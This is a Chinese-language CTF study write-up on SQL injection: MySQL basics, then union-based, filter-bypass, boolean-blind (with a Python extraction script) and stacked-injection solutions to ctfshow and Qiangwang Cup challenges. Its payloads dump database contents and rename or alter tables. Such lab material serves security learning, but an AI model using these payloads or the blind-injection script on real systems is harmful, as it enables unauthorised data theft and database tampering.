首先还是对sql的具体分析和讲解
原理:
SQL注入是一种安全漏洞,它允许攻击者通过在应用程序的输入中插入或者操作SQL命令来改变后端数据库的查询和操作。SQL注入的主要原因是代码中直接将用户输入与SQL命令拼接在一起,没有进行适当的验证或清理,导致输入可以被解释为SQL的一部分而不是数据。攻击者通过将恶意的 Sql 查询或添加语句插入到应用的输入参数中,再在后台 Sql 服务器上解析执行进行的攻击,实现无账号登录,甚至篡改数据库等,它是目前黑客对数据库进行攻击的最常用手段之一。
sql定义:
SQL 是 Structured Query Language 的缩写,中文译为“结构化查询语言”。
SQL 是用于访问和处理数据库的标准的计算机语言。
SQL 指结构化查询语言
SQL 使我们有能力访问数据库
SQL 是一种 ANSI 的标准计算机语言
SQL的作用:
SQL 是一门 ANSI 的标准计算机语言,用来访问和操作数据库系统。
SQL 语句用于取回和更新数据库中的数据。
MySQL基础知识(作为深入补充;了解具体的sql语句是怎么去操作的)
MySQL默认的数据库:
sys、mysql、performance_schema、information_schema
information_schema存放着所有的数据库信息(5.0版本以上才有这个库)
这个库中的三个表:
SCHEMATA 该表存放用户创建的所有数据库库名
SCHEMA_NAME 字段记录数据库库名
TABLES 该表存放用户创建的所有数据库库名和表名
TABLE_SCHEMA 字段记录数据库名
TABLE_NAME 字段记录表名
COLUMNS 该表存放用户创建的所有数据库库名、表名和字段名(列名)
TABLE_SCHEMA 字段记录数据库名
TABLE_NAME 字段记录表名
COLUMN_NAME 字段记录字段名
SQL增、删、改语句:
SQL 语句对大小写不敏感,SELECT 等效于 select
数据库:
创建数据库students并选择字符集
CREATE DATABASE students charset utf8;
删除数据库xxx
drop datebases xxx;
选择进入数据库xxx
use xxx;
查看数据库
show databases;
数据表:
#创建数据表student,其中包含4列id name sex aihao(要指明数据类型)
CREATE TABLE student
(
id int,
name varchar(10),
sex char(1),
aihao varchar(100)
);
#查看数据表student
SELECT * FROM student;
#删除数据表student
drop table student;
#修改数据表student名称为user
rename table student to user;
数据列:
#插入数据列和数据行
insert into student
(
id,name,sex,aihao
)
values
(
1,'LLINELL','女','play game'
);
#删除列old
alter table student drop old;
#删除行
delete from student where aihao='play game';
#增加一列内容(最大3位,最小1位)
alter table student add old decimal(3,1);
#修改所有年龄old为10
update student set old=10;
#修改id=1的行name为line,old为20
update student set name='line',old=20 where id='1';
SQL查询语句:
MySQL 查询语句大全_mysql查询语句-CSDN博客
sql做题的方法及思路
sql注入的一般做题步骤(适用于联合查询注入和报错注入):
1.判断是整数型还是字符型
判断方法:输入id =1 and 1=1,发现没有变化,换成and 1=2有变化,则为整数型
2.用 ’ 进行测试,发现页面报错,证明可以进行sql注入
3.判断sql注入的类型,并使用相对于的方法进行解决
4.判断有几个字段
5.爆当前数据库
6.爆表明
7.爆字段名
8.爆出数据
判断SQL语句闭合方式原理
Mysql数据库的包容性比较强,如果输错了数据的类型,Mysql数据库会自动将其转换成正确的数据类型,比如输入1)、1" 等,只要数字后面的字符不是闭合符,数据库都会把你输入的错误的数据转换成正确的数据类型。
若输入的数字后面的字符恰好是闭合符,则会形成闭合,若闭合后形成的sql语句是错误的,那么sql语句执行就会错误,从而造成页面显示错误。
联合注入:
web171
这道题的注入点实际上是比较明显的
测试万能密码
1' or 1=1
(因为有查询语句的显示,所以可以直接判断出,没有过滤,尝试万能密码,and 优先级高于 or,由于 条件2 为假,所以 or 的前半句为假,也就是 username !='flag' and id = '"' 为假而 or 后半句 1=1 为真,因此 where 条件为真相当于执行 select username,password from user)
报错,说明注入存在
输入1' and '1'='1
当后面的式子不成立时报错,判断字符型注入
1' order by 3--+(尝试以后#号被过滤,用--+来代替)
到4时报错
说明到3就没有了,直接进行union查询 (此时将1改为-1,也可以改为0,只要不存在就行,判断前部分为假)
0' union select 1,2,database()
得到了当前库名
0' union select 1,2,table_name from information_schema.tables where table_schema='ctfshow_web' limit 0,1--+
爆表
0' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='ctfshow_web' and table_name='ctfshow_user' limit 0,1--+
爆列
爆字段
0' union select 1,2,concat_ws(id,username,password) from ctfshow_web.ctfshow_user where username='flag' limit 0,1--+
得到了flag
sqlmap做法:
抓包,将抓包得到的信息保留到kali里面,使用对应的针对文件的命令,三级一风险扫,结果出来注入点在id,使用union联注,没有特殊绕过
看看所有库
其中最上面那个是给的关键信息比较多的,爆表
爆列
爆用户名和密码的字段
得到了相关信息
拿到了flag
web172
进来看这个页面是找不到注入点的,所以这里两种方法,一种是扫后台,一种是抓包看看信息,先抓包
点击select模块进入
还是先审计代码:
返回结果中的username不允许等于flag,不输出username不就完事了,这里应该过滤ctfshow才有意义
和前面的步骤差不多,判断是字符型注入以后,与第一题不同,这里到3就报错了,所以就只到2
一样的联合查询
这个后面得到的是假的flag
1' union select database(),table_name from information_schema.tables where table_schema=database()--+
通过查询语句,发现存在另外的表格,通过查询表格信息可知,既然多出来了一个表格,那么这个信息可能存在信息,所以选择查这个表。
通过和上面一样的暴库,爆表,爆字段。
最终,得到了flag
sqlmap也是差不多的
进入到这个表里面一样的爆字段,也可以得到flag,这里重复的部分也就不再演示了
后面的题类型都是差距不太大的,所以这里就不再过多赘述了
web173
//拼接sql语句查找指定ID用户
$sql = "select id,username,password from ctfshow_user3 where username !='flag' and id = '".$_GET['id']."' limit 1;";
//检查结果是否有flag
if(!preg_match('/flag/i', json_encode($ret))){
$ret['msg']='查询成功';
}
有过滤的字符型注入,添加了检查结果中是否匹配正则表达式 /flag/i
,若匹配则查询失败。
先用上一题的payload打一下试试
payload: 0' union select 1,2,(select password from ctfshow_user2 where username='flag') %23
密码栏出现的不是flag而是 not_here
,查表名
payload: 0' union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema=database()) %23
结果ctfshow_user,ctfshow_user2,ctfshow_user3
查第一个表
payload: 0' union select 1,2,(select password from ctfshow_user where username='flag') %23
查询失败,返回结果触发了正则过滤。添加hex函数绕过正则过滤
payload: 0' union select 1,2,hex((select password from ctfshow_user where username='flag')) %23
结果解码后flag_not_here
查第三个表
payload: 0' union select 1,2,hex((select password from ctfshow_user3 where username='flag')) %23
密码栏hex解码出flag。
web174
这个有点盲注在里面
//拼接sql语句查找指定ID用户
$sql = "select id,username,password from ctfshow_user2 where username !='flag' and id = '".$_GET['id']."' limit 1;";
//检查结果是否有flag
if(!preg_match('/flag/i', json_encode($ret))){
$ret['msg']='查询成功';
}
有过滤的字符型注入,更改正则表达式 /flag|[0-9]/i
,返回结果中不能有数字。
hex,to_base64里面也有数字,根据给出的查询语句,构造 payload 写个布尔盲注脚本。
import requests
payload = "0' union select 'a',if(ascii(substr((select password from ctfshow_user4 where username='flag'), {},1))>{},'cluster','boom') %23"
url = "http://168b1d40-414d-4b42-a7cd-1cb5fd00bfe6.challenge.ctf.show:8080/api/v4.php?id="
def test_chr(index: int, offset: int):
response = requests.get(url + payload.format(index, offset))
assert "cluster" in response.text or "boom" in response.text
if "cluster" in response.text:
return True
elif "boom" in response.text:
return False
index = 1
flag = ""
while True:
start = 32
end = 127
while True:
if abs(start-end) == 1 or start == end:
break
point = (start + end) // 2
if test_chr(index, point):
start = point
else:
end = point
if end < start:
end = start
flag += chr(end)
print(f"[*] flag: {flag}")
index += 1
脚本输出flag。
堆叠注入
原理:
mysql数据库sql语句的默认结束符是以";"号结尾,在执行多条sql语句时就要使用结束符隔
开,而堆叠注入其实就是通过结束符来执行多条sql语句。
比如我们在mysql的命令行界面执行一条查询语句,这时语句的结尾必须加上分号结束
select * from student;
HTWwvV.png
如果我们想要执行多条sql那就用结束符分号进行隔开,比如在查询的同时查看当前登录用户是谁
select * from student;select current_user();
HThjHS.png
显而易见堆叠注入就是在不可控的用户输入中通过传入结束符+新的sql语句来获取想要的信息。
堆叠注入的触发条件:
堆叠注入触发的条件很苛刻,因为堆叠注入原理就是通过结束符同时执行多条sql语句,这就需要服
务器在访问数据端时使用的是可同时执行多条sql语句的方法,比如php中mysqli_multi_query()函数,这个函数在支持同时执行多条sql语句,而与之对应的mysqli_query()函数一次只能执行一条sql语句,所以要想目标存在堆叠注入,在目标主机没有对堆叠注入进行黑名单过滤的情况下必须存在类似于mysqli_multi_query()这样的函数,简单总结下来就是
目标存在sql注入漏洞
目标未对";"号进行过滤
目标中间层查询数据库信息时可同时执行多条sql语句
以2019强网杯为例
测试注入点,get型,字符注入
配合union联注,发现了字符的过滤规则
分号;没有被过滤,测试堆叠注入成功
查到了两个表,接下来查询每张表中有哪些列明,继续使用堆叠注入配合show,发现191开头的表中存在flag关键字,这边需要注意一下的是因为这张表的名字为纯数字,在使用时需要通过"`"号括起来
因为目标过滤了select语句所以直接查询是不太可能了,这时就得用到其他可以读取表数据的方法,在网上找了找发现mysql数据库中可以使用handler语句读取表中的数据,阅读官方文档后发现这玩意就相当于一个数据指针,先创建要一个准备读取的对象然后操作这个数据指针去读取表中的数据.
help handler;
HbqKZd.png
handler 要读取的表名 open as 别名;(打开一个句柄实例,也可以不取别名,用一个as是为了下面更加方便操作)
handler 别名 read next;(将句柄移动到表中的第一行数据并且读取,也可以用first或者last读取第一行和最后一行)
handler 别名 close;(将这个句柄实例关闭)
了解handler的用法再配合堆叠注入拿到flag
?inject=1';handler
1919810931114514open as toert;handler toert read next%23
这道题之前遇到过,是将1919810931114514表改成words表,然后使用alter table将1919810931114514表中的falg列名修改为words中的id列名,然后通过原本的查询将flag查询出来payload:
?id=1';rename table words to word;rename table
`1919810931114514`to words;alter table words change flag id varchar(100);show tables;
其他sql注入参考学习资料:
sql注入的专项练习 sqlilabs(含代码审计)_sql注入练习-CSDN博客
SQL注入万字详解,基于sqli-labs(手注+sqlmap)_sql 注入labs-CSDN博客
https://www.cnblogs.com/backlion/p/9721687.html
数据库sql入门_sql入门 csdn-CSDN博客
sql注入基础-CSDN博客
sql注入之报错注入_报错注入函数-CSDN博客
sql注入之盲注_sql注入盲注-CSDN博客